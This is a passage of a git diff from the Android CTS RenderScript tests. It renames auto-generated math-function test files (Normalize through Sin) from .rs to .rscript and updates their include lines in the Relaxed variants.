+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNextafter.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalize.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalize.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalize.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalize.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalizeRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalizeRelaxed.rs
deleted file mode 100644
index e1d6a16..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalizeRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNormalize.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalizeRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalizeRelaxed.rscript
new file mode 100644
index 0000000..55b4d90
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalizeRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNormalize.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPow.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPow.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestPow.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestPow.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowRelaxed.rs
deleted file mode 100644
index f00f3f4..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestPow.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowRelaxed.rscript
new file mode 100644
index 0000000..df13192
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestPow.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPown.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPown.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestPown.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestPown.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPownRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPownRelaxed.rs
deleted file mode 100644
index 21607e8..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPownRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestPown.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPownRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPownRelaxed.rscript
new file mode 100644
index 0000000..204c55e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPownRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestPown.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowr.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowr.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowr.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowr.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowrRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowrRelaxed.rs
deleted file mode 100644
index 9af7c33..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowrRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestPowr.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowrRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowrRelaxed.rscript
new file mode 100644
index 0000000..3200172
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowrRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestPowr.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadians.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadians.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadians.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadians.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadiansRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadiansRelaxed.rs
deleted file mode 100644
index ae5a805..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadiansRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestRadians.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadiansRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadiansRelaxed.rscript
new file mode 100644
index 0000000..419da17
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadiansRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestRadians.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainder.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainder.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainder.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainder.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainderRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainderRelaxed.rs
deleted file mode 100644
index f93e980..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainderRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestRemainder.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainderRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainderRelaxed.rscript
new file mode 100644
index 0000000..9ca694a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainderRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestRemainder.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquo.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquo.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquo.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquo.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquoRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquoRelaxed.rs
deleted file mode 100644
index e9aa584..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquoRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestRemquo.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquoRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquoRelaxed.rscript
new file mode 100644
index 0000000..a1f30e0
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquoRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestRemquo.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRint.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRint.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestRint.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestRint.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRintRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRintRelaxed.rs
deleted file mode 100644
index bfacdea..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRintRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestRint.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRintRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRintRelaxed.rscript
new file mode 100644
index 0000000..d1011b2
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRintRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestRint.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootn.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootn.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootn.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootn.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootnRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootnRelaxed.rs
deleted file mode 100644
index 9141954..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootnRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestRootn.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootnRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootnRelaxed.rscript
new file mode 100644
index 0000000..d9e73a6
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootnRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestRootn.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRound.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRound.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestRound.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestRound.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRoundRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRoundRelaxed.rs
deleted file mode 100644
index dd53e55..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRoundRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestRound.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRoundRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRoundRelaxed.rscript
new file mode 100644
index 0000000..470da59
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRoundRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestRound.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrt.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrt.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrt.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrt.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrtRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrtRelaxed.rs
deleted file mode 100644
index 4e5c063..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrtRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestRsqrt.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrtRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrtRelaxed.rscript
new file mode 100644
index 0000000..bae4726
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrtRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestRsqrt.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSign.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSign.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestSign.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestSign.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSignRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSignRelaxed.rs
deleted file mode 100644
index da1b77d..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSignRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestSign.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSignRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSignRelaxed.rscript
new file mode 100644
index 0000000..9b4d595
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSignRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestSign.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSin.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSin.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestSin.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestSin.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinRelaxed.rs
deleted file mode 100644
index c8ae2c2..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestSin.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinRelaxed.rscript
new file mode 100644
index 0000000..0acb7dd
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
